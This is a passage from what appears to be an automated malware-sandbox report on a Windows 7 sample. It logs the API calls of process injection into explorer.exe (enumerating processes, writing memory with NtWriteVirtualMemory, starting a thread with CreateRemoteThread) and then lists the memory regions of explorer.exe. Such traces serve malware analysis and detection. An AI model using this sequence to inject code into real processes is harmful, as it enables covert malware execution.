th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0099.626] GetCurrentProcessId () returned 0xa84 [0099.626] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0099.626] GetCurrentProcessId () returned 0xa84 [0099.626] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.627] GetCurrentProcessId () returned 0xa84 [0099.627] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.627] GetCurrentProcessId () returned 0xa84 [0099.627] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.628] GetCurrentProcessId () returned 0xa84 [0099.628] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.628] GetCurrentProcessId () returned 0xa84 [0099.628] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.629] GetCurrentProcessId () returned 0xa84 [0099.629] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0099.630] GetCurrentProcessId () returned 0xa84 [0099.630] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.631] GetCurrentProcessId () returned 0xa84 [0099.631] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.631] GetCurrentProcessId () returned 0xa84 [0099.631] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0099.632] GetCurrentProcessId () returned 0xa84 [0099.632] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.632] GetCurrentProcessId () returned 0xa84 [0099.632] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0099.633] GetCurrentProcessId () returned 0xa84 [0099.633] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0099.633] GetCurrentProcessId () returned 0xa84 [0099.634] Process32NextW (in: hSnapshot=0x3cc, lppe=0x70df90 | out: lppe=0x70df90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0099.634] GetCurrentProcessId () returned 0xa84 [0099.634] OpenProcess (dwDesiredAccess=0x47a, bInheritHandle=0, dwProcessId=0x568) returned 0x3bc [0099.634] CloseHandle (hObject=0x3cc) returned 1 [0099.634] GetCurrentProcess () returned 0xffffffff [0099.634] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x70e1e8 | out: Wow64Process=0x70e1e8) returned 1 [0099.634] GetVersionExW (in: lpVersionInformation=0x70e0b0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x70e0b0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0099.634] VirtualAlloc (lpAddress=0x0, dwSize=0x3c000, flAllocationType=0x3000, flProtect=0x4) returned 0x2960000 [0099.638] LdrGetProcedureAddress (in: BaseAddress=0x77540000, Name="NtAllocateVirtualMemory", Ordinal=0x0, ProcedureAddress=0x70d02c | out: ProcedureAddress=0x70d02c*=0x77591490) returned 0x0 [0099.638] NtAllocateVirtualMemory (in: ProcessHandle=0x3bc, BaseAddress=0x70d070*=0x0, ZeroBits=0x0, RegionSize=0x70d068*=0x3c000, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x70d070*=0x2c40000, RegionSize=0x70d068*=0x3c000) returned 0x0 [0100.654] LdrGetProcedureAddress (in: BaseAddress=0x77540000, Name="NtWriteVirtualMemory", Ordinal=0x0, ProcedureAddress=0x70d038 | out: ProcedureAddress=0x70d038*=0x775916b0) returned 0x0 [0100.654] NtWriteVirtualMemory (in: ProcessHandle=0x3bc, BaseAddress=0x2c40000, Buffer=0x2960000*, NumberOfBytesToWrite=0x3c000, NumberOfBytesWritten=0x70d070 | out: Buffer=0x2960000*, NumberOfBytesWritten=0x70d070*=0x3c000) returned 0x0 [0100.711] LdrGetProcedureAddress (in: BaseAddress=0x77540000, Name="NtAllocateVirtualMemory", Ordinal=0x0, ProcedureAddress=0x70cfdc | out: ProcedureAddress=0x70cfdc*=0x77591490) returned 0x0 [0100.711] NtAllocateVirtualMemory (in: ProcessHandle=0x3bc, BaseAddress=0x70d020*=0x0, ZeroBits=0x0, RegionSize=0x70d018*=0xcc3bdc, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x70d020*=0x77a0000, RegionSize=0x70d018*=0xcc4000) returned 0x0 [0100.712] LdrGetProcedureAddress (in: BaseAddress=0x77540000, Name="NtWriteVirtualMemory", Ordinal=0x0, ProcedureAddress=0x70cfe8 | out: ProcedureAddress=0x70cfe8*=0x775916b0) returned 0x0 [0100.712] NtWriteVirtualMemory (in: ProcessHandle=0x3bc, BaseAddress=0x77a0000, Buffer=0x4dc0020*, NumberOfBytesToWrite=0xcc3bdc, NumberOfBytesWritten=0x70d020 | out: Buffer=0x4dc0020*, NumberOfBytesWritten=0x70d020*=0xcc3bdc) returned 0x0 [0100.806] LdrGetProcedureAddress (in: BaseAddress=0x77540000, Name="NtAllocateVirtualMemory", Ordinal=0x0, ProcedureAddress=0x70d02c | out: ProcedureAddress=0x70d02c*=0x77591490) returned 0x0 [0100.806] NtAllocateVirtualMemory (in: ProcessHandle=0x3bc, BaseAddress=0x70d070*=0x0, ZeroBits=0x0, RegionSize=0x70d068*=0xb9c, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x70d070*=0x2b90000, RegionSize=0x70d068*=0x1000) returned 0x0 [0100.807] LdrGetProcedureAddress (in: BaseAddress=0x77540000, Name="NtWriteVirtualMemory", Ordinal=0x0, ProcedureAddress=0x70d038 | out: ProcedureAddress=0x70d038*=0x775916b0) returned 0x0 [0100.807] NtWriteVirtualMemory (in: ProcessHandle=0x3bc, BaseAddress=0x2b90000, Buffer=0x70d5d0*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x70d070 | out: Buffer=0x70d5d0*, NumberOfBytesWritten=0x70d070*=0x4) returned 0x0 [0100.807] LdrGetProcedureAddress (in: BaseAddress=0x77540000, Name="NtWriteVirtualMemory", Ordinal=0x0, ProcedureAddress=0x70d038 | out: ProcedureAddress=0x70d038*=0x775916b0) returned 0x0 [0100.807] NtWriteVirtualMemory (in: ProcessHandle=0x3bc, BaseAddress=0x2b90004, Buffer=0x70d5d8*, NumberOfBytesToWrite=0xb98, NumberOfBytesWritten=0x70d070 | out: Buffer=0x70d5d8*, NumberOfBytesWritten=0x70d070*=0xb98) returned 0x0 [0100.808] GetWindowsDirectoryW (in: lpBuffer=0x70d3c4, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0100.808] GetVersionExW (in: lpVersionInformation=0x70cf38*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x70cf38*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0100.819] wvnsprintfW (in: pszDest=0x70d1a6, cchDest=260, pszFmt="%s\\System32\\kernelbase.dll", arglist=0x70d08c | out: pszDest="C:\\Windows\\System32\\kernelbase.dll") returned 34 [0100.819] LdrGetProcedureAddress (in: BaseAddress=0x77540000, Name="LdrLoadDll", Ordinal=0x0, ProcedureAddress=0x70d070 | out: ProcedureAddress=0x70d070*=0x77567a90) returned 0x0 [0100.819] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x70d138, Name="C:\\Windows\\System32\\kernelbase.dll", BaseAddress=0x70d130 | out: BaseAddress=0x70d130*=0x2bc0000) returned 0x0 [0100.823] LdrGetProcedureAddress (in: BaseAddress=0x2bc0000, Name="CreateRemoteThread", Ordinal=0x0, ProcedureAddress=0x70d070 | out: ProcedureAddress=0x70d070*=0x2c01610) returned 0x0 [0100.824] CreateRemoteThread (in: hProcess=0x3bc, lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c4ad14, lpParameter=0x2b90000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc [0100.825] CloseHandle (hObject=0x3bc) returned 1 [0100.825] ExitProcess (uExitCode=0x0) Thread: id = 49 os_tid = 0xa90 Thread: id = 50 os_tid = 0xa94 Thread: id = 51 os_tid = 0xa98 Thread: id = 52 os_tid = 0xa9c Thread: id = 53 os_tid = 0xaa0 Thread: id = 54 os_tid = 0xaa4 Thread: id = 55 os_tid = 0xaa8 Thread: id = 56 os_tid = 0xab0 Process: id = "8" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x9d59000" os_pid = "0x568" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "7" os_parent_pid = "0xa84" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "AUFDDCNTXWT\\aDU0VK IWA5kLS" os_groups = "AUFDDCNTXWT\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103d4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1614 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1615 start_va = 0x20000 end_va = 0x21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1616 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1617 start_va = 0x40000 end_va = 0x41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1618 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1619 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1620 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1621 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1622 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1623 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1624 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1625 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 1626 start_va = 0x130000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 1627 start_va = 0x1b0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1628 start_va = 0x2b0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 1629 start_va = 0x3b0000 end_va = 0x537fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 1630 start_va = 0x540000 end_va = 0x6c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1631 start_va = 0x6d0000 end_va = 0x1acffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 1632 start_va = 0x1ad0000 end_va = 0x1ec2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ad0000" filename = "" Region: id = 1633 start_va = 0x1ed0000 end_va = 0x1f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 1634 start_va = 0x1f10000 end_va = 0x1feefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f10000" filename = "" Region: id = 1635 start_va = 0x1ff0000 end_va = 0x1ff0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ff0000" filename = "" Region: id = 1636 start_va = 0x2000000 end_va = 0x2001fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002000000" filename = "" Region: id = 1637 start_va = 0x2010000 end_va = 0x2039fff entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 1638 start_va = 0x2040000 end_va = 0x2040fff entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 1639 start_va = 0x2050000 end_va = 0x2065fff entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 1640 start_va = 0x2070000 end_va = 0x2070fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002070000" filename = "" Region: id = 1641 start_va = 0x2080000 end_va = 0x2081fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002080000" filename = "" Region: id = 1642 start_va = 0x2090000 end_va = 0x210ffff entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 1643 start_va = 0x2110000 end_va = 0x217bfff entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 1644 start_va = 0x2180000 end_va = 0x2180fff entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 1645 start_va = 0x2190000 end_va = 0x2190fff entry_point = 0x0 region_type = private name = "private_0x0000000002190000" filename = "" Region: id = 1646 start_va = 0x21a0000 end_va = 0x221ffff entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 1647 start_va = 0x2220000 end_va = 0x24eefff entry_point = 0x2220000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1648 start_va = 0x24f0000 end_va = 0x24f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 1649 start_va = 0x2500000 end_va = 0x2501fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002500000" filename = "" Region: id = 1650 start_va = 0x2510000 end_va = 0x2512fff entry_point = 0x2510000 region_type = mapped_file name = "comctl32.dll.mui" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") Region: id = 1651 start_va = 0x2520000 end_va = 0x2520fff entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 1652 start_va = 0x2530000 end_va = 0x254bfff entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 1653 start_va = 0x2550000 end_va = 0x2550fff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 1654 start_va = 0x2560000 end_va = 0x2568fff entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 1655 start_va = 0x2570000 end_va = 0x2577fff entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 1656 start_va = 0x2580000 end_va = 0x25a6fff entry_point = 0x2580000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000008.db" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000008.db" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000008.db") Region: id = 1657 start_va = 0x25b0000 end_va = 0x25b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025b0000" filename = "" Region: id = 1658 start_va = 0x25c0000 end_va = 0x25c3fff entry_point = 0x25c0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1659 start_va = 0x25d0000 end_va = 0x25d3fff entry_point = 0x25d0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1660 start_va = 0x25e0000 end_va = 0x25e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025e0000" filename = "" Region: id = 1661 start_va = 0x25f0000 end_va = 0x2697fff entry_point = 0x0 region_type = private name = "private_0x00000000025f0000" filename = "" Region: id = 1662 start_va = 0x26a0000 end_va = 0x26a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026a0000" filename = "" Region: id = 1663 start_va = 0x26b0000 end_va = 0x26dffff entry_point = 0x26b0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db") Region: id = 1664 start_va = 0x26e0000 end_va = 0x26e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026e0000" filename = "" Region: id = 1665 start_va = 0x26f0000 end_va = 0x26f3fff entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 1666 start_va = 0x2700000 end_va = 0x270ffff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 1667 start_va = 0x2710000 end_va = 0x2713fff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 1668 start_va = 0x2720000 end_va = 0x2721fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002720000" filename = "" Region: id = 1669 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 1670 start_va = 0x2740000 end_va = 0x2740fff entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 1671 start_va = 0x2750000 end_va = 0x2750fff entry_point = 0x0 region_type = private name = "private_0x0000000002750000" filename = "" Region: id = 1672 start_va = 0x2760000 end_va = 0x276ffff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 1673 start_va = 0x2770000 end_va = 0x286ffff entry_point = 0x0 region_type = private name = "private_0x0000000002770000" filename = "" Region: id = 1674 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 1675 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 1676 start_va = 0x2890000 end_va = 0x290ffff entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 1677 start_va = 0x2910000 end_va = 0x2957fff entry_point = 0x0 region_type = private name = "private_0x0000000002910000" filename = "" Region: id = 1678 start_va = 0x2960000 end_va = 0x2963fff entry_point = 0x0 region_type = private name = "private_0x0000000002960000" filename = "" Region: id = 1679 start_va = 0x2970000 end_va = 0x2970fff entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 1680 start_va = 0x2980000 end_va = 0x2980fff entry_point = 0x0 region_type = private name = "private_0x0000000002980000" filename = "" Region: id = 1681 start_va = 0x2990000 end_va = 0x2a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 1682 start_va = 0x2a90000 end_va = 0x2b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 1683 start_va = 0x2ba0000 end_va = 0x2baffff entry_point = 0x2ba0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017082220170823\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012017082220170823\\index.dat") Region: id = 1684 start_va = 0x2bb0000 end_va = 0x2bbffff entry_point = 0x2bb0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 1685 start_va = 0x2bc0000 end_va = 0x2c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 1686 start_va = 0x2c40000 end_va = 0x2c7bfff entry_point = 0x0 region_type = private name = "private_0x0000000002c40000" filename = "" Region: id = 1687 start_va = 0x2d90000 end_va = 0x30d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d90000" filename = "" Region: id = 1688 start_va = 0x30e0000 end_va = 0x30e0fff entry_point = 0x0 region_type = private name = "private_0x00000000030e0000" filename = "" Region: id = 1689 start_va = 0x30f0000 end_va = 0x316ffff entry_point = 0x0 region_type = private name = "private_0x00000000030f0000" filename = "" Region: id = 1690 start_va = 0x3170000 end_va = 0x3170fff entry_point = 0x0 region_type = private name = "private_0x0000000003170000" filename = "" Region: id = 1691 start_va = 0x3180000 end_va = 0x31fffff entry_point = 0x0 region_type = private name = "private_0x0000000003180000" filename = "" Region: id = 1692 start_va = 0x3200000 end_va = 0x3200fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003200000" filename = "" Region: id = 1693 start_va = 0x3210000 end_va = 0x3210fff entry_point = 0x3210000 region_type = mapped_file name = "wdmaud.drv.mui" filename = "\\Windows\\System32\\en-US\\wdmaud.drv.mui" (normalized: "c:\\windows\\system32\\en-us\\wdmaud.drv.mui") Region: id = 1694 start_va = 0x3220000 end_va = 0x3220fff entry_point = 0x3220000 region_type = mapped_file name = "mmdevapi.dll.mui" filename = "\\Windows\\System32\\en-US\\MMDevAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mmdevapi.dll.mui") Region: id = 1695 start_va = 0x3230000 end_va = 0x3231fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003230000" filename = "" Region: id = 1696 start_va = 0x3240000 end_va = 0x3241fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003240000" filename = "" Region: id = 1697 start_va = 0x3250000 end_va = 0x3253fff entry_point = 0x3250000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1698 start_va = 0x3260000 end_va = 0x32dffff entry_point = 0x0 region_type = private name = "private_0x0000000003260000" filename = "" Region: id = 1699 start_va = 0x32e0000 end_va = 0x32e0fff entry_point = 0x0 region_type = private name = "private_0x00000000032e0000" filename = "" Region: id = 1700 start_va = 0x32f0000 end_va = 0x336ffff entry_point = 0x0 region_type = private name = "private_0x00000000032f0000" filename = "" Region: id = 1701 start_va = 0x3370000 end_va = 0x33d5fff entry_point = 0x3370000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1702 start_va = 0x33e0000 end_va = 0x345ffff entry_point = 0x0 region_type = private name = "private_0x00000000033e0000" filename = "" Region: id = 1703 start_va = 0x3460000 end_va = 0x3d8ffff entry_point = 0x3460000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 1704 start_va = 0x3d90000 end_va = 0x3d90fff entry_point = 0x0 region_type = private name = "private_0x0000000003d90000" filename = "" Region: id = 1705 start_va = 0x3da0000 end_va = 0x3da0fff entry_point = 0x0 region_type = private name = "private_0x0000000003da0000" filename = "" Region: id = 1706 start_va = 0x3db0000 end_va = 0x3e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000003db0000" filename = "" Region: id = 1707 start_va = 0x3e30000 end_va = 0x3e30fff entry_point = 0x0 region_type = private name = "private_0x0000000003e30000" filename = "" Region: id = 1708 start_va = 0x3e40000 end_va = 0x3e40fff entry_point = 0x0 region_type = private name = "private_0x0000000003e40000" filename = "" Region: id = 1709 start_va = 0x3e50000 end_va = 0x3e50fff entry_point = 0x0 region_type = private name = "private_0x0000000003e50000" filename = "" Region: id = 1710 start_va = 0x3e60000 end_va = 0x3e61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003e60000" filename = "" Region: id = 1711 start_va = 0x3e70000 end_va = 0x3e70fff entry_point = 0x3e70000 region_type = mapped_file name = 